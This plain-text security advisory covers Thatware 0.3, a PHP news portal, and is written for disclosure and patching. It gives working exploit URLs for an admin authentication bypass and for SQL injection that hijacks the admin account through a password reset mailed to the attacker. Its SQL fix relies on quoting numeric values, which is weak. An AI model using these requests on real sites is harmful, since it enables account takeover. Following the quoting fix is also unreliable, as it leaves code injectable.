thatware.txt

`  
Summary  
  
The security vulnerabilities in Thatware allows attacker to gain  
administrative access to the application. Thatware is a news  
portal administration, open source, and freely downloaded at:   
  
http://www.atthat.com/  
  
  
Vulnerable systems  
  
Thatware 0.3   
  
  
Exploit 1:  
  
If we send it  
  
http://site/admin.php3?user=anyone  
  
the script will give $auth_rights = FALSE and goes on to:  
  
if (sizeof($auth_rights)>0) {  
$admintest=1;  
  
This will succeed and open access to all functions in admin.php3.   
It is caused by the fact that sizeof($x), where $x is a variable   
that is set but is not an array, returns 1.   
  
The following exploit will elevate 'someuser' status to admin:  
  
http://site/admin.php3?user=anyone&op=AddAdmin  
&add_root=&add_uname=someuser  
  
Fix:  
  
For a quick fix, simply rename admin.php3. And for those who might   
think security through obscurity is not quite enough, well, we  
should get into the code.   
  
In auth.inc.php3, use conditional to check if $admin[0] dan   
$admin[2] are empty (null or zero) before sending a query, e.g.  
  
if (empty($admin[0]) || empty($admin[2])){exit;}  
  
then replace   
  
if (sizeof($auth_rights)>0)   
  
with   
  
if (!empty($auth_rights))  
  
Anyway, these won't defend us against another form of exploit.  
  
  
Exploit 2:  
  
Unquotted variables from user input parsed directly into SQL   
statements provide a way to the second exploit. For example, in   
user.php3, under function saveuser():  
  
update users_info set name='$name', email='$email',  
femail='$femail', url='$url', bio='$bio' where uid=$uid  
  
The attacker could hijack e.g. 'god' admin account by first sending   
it:  
  
http://site/user.php3?op=Save%20User&email=cracker@domain  
&uname=god&uid=blabla%20or%20uname%3Dchar(103,111,100)  
  
that will alter email address to cracker@domain. Note that those   
numbers (103,111,100) are ascii sequence for 'god' (the attacker  
cannot just put uname%3D'god' since PHP3/4 will quote it into   
uname=\'god\' which will produce an invalid SQL statement).  
  
Now, simply by sending it  
  
htt://site/user.php?op=mailpasswd&uname=god  
  
will alter the admin's password to a new password, then mail the   
new password to cracker's mailbox. Note: using the similar  
method, Thatware 0.2 or below are vulnerable to users accounts  
hijacking (admins' reside on the different table).  
  
Fix:  
  
Simply quote all numeric data in SQL statements. Instead of   
"select * from users where uid=$uid", use "select * from users   
where uid='$uid'". MySQL automatically converts this to a number   
and meanwhile strips all non-numeric symbols from it.  
  
  
Fabian Clone ([email protected])  
  
  
  
  
____________________________________________________________________  
Get free email and a permanent address at http://www.amexmail.com/?A=1  
`